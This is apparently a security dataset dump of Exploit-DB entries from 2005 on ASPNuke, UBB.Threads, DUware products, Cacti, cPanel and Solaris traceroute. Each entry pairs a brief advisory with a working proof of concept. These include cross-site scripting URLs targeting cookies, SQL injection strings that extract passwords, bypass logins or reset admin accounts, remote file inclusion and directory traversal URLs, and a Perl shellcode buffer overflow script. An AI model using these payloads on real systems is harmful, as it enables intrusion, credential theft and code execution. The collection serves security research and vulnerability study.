QLWD/code_shield huggingface dataset:
标题: ASPNuke 0.80 - 'forgot_password.asp?email' Cross-Site Scripting EDB-ID: 25905 CVE: 2005-2064 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/14062/info

ASPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/module/account/register/forgot_password.asp?email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25905
标题: Sun Solaris 10 Traceroute - Multiple Local Buffer Overflow Vulnerabilities EDB-ID: 25896 CVE: 2005-2071 类型: LOCAL 平台: SOLARIS 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14049/info

Sun Solaris traceroute is affected by multiple local buffer overflow vulnerabilities.

These vulnerabilities present themselves when the application handles excessive data supplied through command line arguments.

These issue are reported to affect /usr/sbin/traceroute running on Sun Solaris 10.

Some reports indicate that this issue cannot be reproduced. It is also reported that this issue is only exploitable on the Solaris x86 platform. 

#!/usr/bin/perl

$ret = 0x8046bb0;  # heap, solaris on amd64

$shellcode = "A" x 5000 .
"\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68/bin\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5";

$ip = sprintf("%d.%d.%d.%d", $ret & 0xff, ($ret & 0xff00) >> 8, ($ret &
0xff0000) >> 16, ($ret & 0xff000000) >> 24);

$cmd = "/usr/sbin/traceroute -g '$shellcode' -g 2 -g 3 -g 4 -g 5 -g 6 -g 7 -g 8
-g 9 -g 10 $ip";

print $cmd, "\n";

system($cmd); URL: https://www.exploit-db.com/exploits/25896
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'notifymod.php?Number' SQL Injection EDB-ID: 25902 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info
     
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
     
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded URL: https://www.exploit-db.com/exploits/25902
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'viewmessage.php?message' SQL Injection EDB-ID: 25900 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info
   
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received URL: https://www.exploit-db.com/exploits/25900
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'modifypost.php?Number' SQL Injection EDB-ID: 25899 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info
  
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post URL: https://www.exploit-db.com/exploits/25899
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'download.php?Number' SQL Injection EDB-ID: 25897 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info

UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/ubbt/download.php?Number=42227[SQL] URL: https://www.exploit-db.com/exploits/25897
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'grabnext.php?posted' SQL Injection EDB-ID: 25903 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info
      
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
      
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=1045942715[SQL] URL: https://www.exploit-db.com/exploits/25903
标题: UBBCentral UBB.Threads 5.5.1/6.x - 'calendar.php' Multiple SQL Injections EDB-ID: 25898 CVE: 2005-2058 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/14052/info
 
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL]
http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005 URL: https://www.exploit-db.com/exploits/25898
标题: Ipswitch WhatsUp Professional 2005 SP1 - 'login.asp' SQL Injection EDB-ID: 25874 CVE: 2005-1250 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14039/info

WhatsUp Professional is prone to an SQL injection vulnerability affecting its Web-based front end. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'login.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. It should be noted that by supplying a 'or' value through the 'password' parameter, an attacker can gain unauthorized access to an affected site. 

The following proof of concept is available:
Reset the Admin user password with a blank password:
- 'UPDATE WebUser SET sPassword=DEFAULT WHERE sUserName='Admin'--

Elevate Guest user privileges to Admin privileges:
- 'UPDATE WebUser SET nUserRightsMask=-1 WHERE sUserName='guest'-- URL: https://www.exploit-db.com/exploits/25874
标题: DUware DUforum 3.0/3.1 - 'userEdit.asp?id' SQL Injection EDB-ID: 25871 CVE: 2005-2048 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14035/info
   
DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/admin/userEdit.asp?id=[SQL Inject] URL: https://www.exploit-db.com/exploits/25871
标题: DUware DUforum 3.0/3.1 - 'messages.asp?iMsg' SQL Injection EDB-ID: 25868 CVE: 2005-2048 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14035/info

DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/messages.asp?iMsg=[SQL Inject]248&iFor=6 URL: https://www.exploit-db.com/exploits/25868
标题: DUware DUclassmate 1.x - 'edit.asp?iPro' SQL Injection EDB-ID: 25873 CVE: 2005-2049 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/14036/info
 
DUclassmate is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUclassmate/admin/edit.asp?iPro=[SQL Inject] URL: https://www.exploit-db.com/exploits/25873
标题: DUware DUforum 3.0/3.1 - 'post.asp?iFor' SQL Injection EDB-ID: 25869 CVE: 2005-2048 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14035/info
 
DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/post.asp?iFor=6[SQL Inject] URL: https://www.exploit-db.com/exploits/25869
标题: DUware DUamazon Pro 3.0/3.1 - 'productEdit.asp?iCat' SQL Injection EDB-ID: 25862 CVE: 2005-2046 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14033/info
  
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/admin/productEdit.asp?iPro=34&iCat=12[SQL Inject] URL: https://www.exploit-db.com/exploits/25862
标题: DUware DUclassmate 1.x - 'default.asp?iState' SQL Injection EDB-ID: 25872 CVE: 2005-2049 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/14036/info

DUclassmate is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUclassmate/default.asp?iState=[SQL Inject]&nState=Florida URL: https://www.exploit-db.com/exploits/25872
标题: DUware DUamazon Pro 3.0/3.1 - 'productDelete.asp?iCat' SQL Injection EDB-ID: 25861 CVE: 2005-2046 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14033/info
 
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/admin/productDelete.asp?iPro=37&iCat=12[SQL Inject] URL: https://www.exploit-db.com/exploits/25861
标题: DUware DUamazon Pro 3.0/3.1 - 'review.asp?iPro' SQL Injection EDB-ID: 25864 CVE: 2005-2046 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14033/info
    
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
    
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/shops/review.asp?iSub=17&iPro=36[SQL Inject] URL: https://www.exploit-db.com/exploits/25864
标题: DUware DUamazon Pro 3.0/3.1 - 'detail.asp?iSub' SQL Injection EDB-ID: 25865 CVE: 2005-2046 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14033/info
     
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
     
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/shops/detail.asp?iPro=34&iSub=17[SQL Inject] URL: https://www.exploit-db.com/exploits/25865
标题: DUware DUamazon Pro 3.0/3.1 - 'catDelete.asp?iCat' SQL Injection EDB-ID: 25863 CVE: 2005-2046 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14033/info
   
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/admin/catDelete.asp?iCat=13[SQL Inject] URL: https://www.exploit-db.com/exploits/25863
标题: DUware DUpaypal 3.0/3.1 - 'sub.asp?iSub' SQL Injection EDB-ID: 25867 CVE: 2005-2046 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14034/info
 
DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUpaypalPro/shops/sub.asp?iSub=[SQL Inject] URL: https://www.exploit-db.com/exploits/25867
标题: DUware DUpaypal 3.0/3.1 - 'detail.asp?iPro' SQL Injection EDB-ID: 25866 CVE: 2006-6365 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14034/info

DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUpaypalPro/shops/detail.asp?iPro=40[SQL Inject]&iSub= URL: https://www.exploit-db.com/exploits/25866
标题: DUware DUforum 3.0/3.1 - 'forums.asp?iFor' SQL Injection EDB-ID: 25870 CVE: 2005-2048 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14035/info
  
DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/forums.asp?iFor=[SQL Inject] URL: https://www.exploit-db.com/exploits/25870
标题: DUware DUamazon Pro 3.0/3.1 - 'type.asp?iType' SQL Injection EDB-ID: 25860 CVE: 2005-2046 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14033/info

DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazon/type.asp?iType=1[SQL inject] URL: https://www.exploit-db.com/exploits/25860
标题: PAFaq - Administrator 'Username' SQL Injection EDB-ID: 25856 CVE: 2005-2012 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14003/info

paFaq is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&password=foobar URL: https://www.exploit-db.com/exploits/25856
标题: RaXnet Cacti 0.5/0.6/0.8 - 'Config_Settings.php' Remote File Inclusion EDB-ID: 25857 CVE: 2005-1526 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14028/info

RaXnet Cacti is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'config_settings.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/include/config_settings.php?config[include_path]=http://www.example2.com/ URL: https://www.exploit-db.com/exploits/25857
标题: I-Gallery - Folder Argument Directory Traversal EDB-ID: 25853 CVE: 2005-2033 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14000/info

i-Gallery is prone to a directory traversal vulnerability.

This could let remote attackers access files on the computer in the context of the Web server process. 

http://www.example.com/gallery/folderview.asp?folder=Sport+Champions/../../../../../../../../winnt/repair URL: https://www.exploit-db.com/exploits/25853
标题: RaXnet Cacti 0.5/0.6/0.8 - 'Top_Graph_Header.php' Remote File Inclusion EDB-ID: 25859 CVE: 2005-1524 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14030/info

RaXnet Cacti is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'top_graph_header.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/path_of_cacti/include/top_graph_header.php?config[library_path]=http://www.exmpale2.com/ URL: https://www.exploit-db.com/exploits/25859
标题: DUware DUportal 3.4.3 Pro - Multiple SQL Injections EDB-ID: 25858 CVE: 2005-2199 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/14029/info

DUportal Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Some of these issues may have previously been discussed in BID 13285 and BID 13288. 

http://www.example.com/DUportalPro34/Articles/default.asp?iChannel=2[SQL Inject]&nChannel=Articles
http://www.example.com/DUportalPro34/Articles/detail.asp?iData=4[SQL Inject]&iCat=292&iChannel=2&nChannel=Articles
http://www.example.com/DUportalPro34/home/members.asp?iMem=[SQL Inject]
http://www.example.com/DUportalPro34/topics/cat.asp?iCat=4[SQL Inject]&iChannel=16&nChannel=Topics
http://www.example.com/DUportalPro34/Polls/default.asp?iChannel=15[SQL Inject]&nChannel=Polls
http://www.example.com/DUportalPro34/home/members.asp?iMem=[SQL Inject]
http://www.example.com/DUportalPro34/admin/members_listing_approval.asp?offset=[SQL Inject]
http://www.example.com/DUportalPro34/admin/channels_edit.asp?iChannel=7[SQL inject]&nChannel=[Name Module] URL: https://www.exploit-db.com/exploits/25858
标题: cPanel 9.1 - 'User' Cross-Site Scripting EDB-ID: 25846 CVE: 2005-2021 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13996/info

It is reported that cPanel is prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'user' parameter of the 'login' page.

Due to the possibility of attacker-specified HTML and script code being rendered in a victim's browser, it is possible to steal cookie-based authentication credentials from that user. Other attacks are possible as well. 

http://www.example.com:2082/login?user=**<script>JavaScript:alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/25846
标题: LaGarde StoreFront 5.0 Shopping Cart - 'login.asp' SQL Injection EDB-ID: 25847 CVE: 2003-0557 类型: WEBAPPS 平台: ASP 发布日期: 2003-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13998/info

StoreFront Shopping Cart is affected by an SQL injection vulnerability. The vulnerability affects the 'login.asp' script.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

StoreFront Shopping Cart 5.0 is affected by this vulnerability.

The following proof of concept example is available:
Email id: example@example.com
Password: ' or '=' URL: https://www.exploit-db.com/exploits/25847
标题: PAFaq - Question Cross-Site Scripting EDB-ID: 25854 CVE: 2005-2011 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14001/info

paFaq is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/pafaq/index.php?act=Question&id=1%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/25854
标题: UApplication Ublog Reload 1.0.5 - 'Trackback.asp' Cross-Site Scripting EDB-ID: 25845 CVE: 2005-2010 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13994/info

Ublog Reload is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/UblogReload/trackback.asp?bi=[id]&btitle=[XSS]&mode=view
http://www.example.com/UblogReload/trackback.asp?bi=343&btitle=<script>alert('document.cookie')</script>&mode=view URL: https://www.exploit-db.com/exploits/25845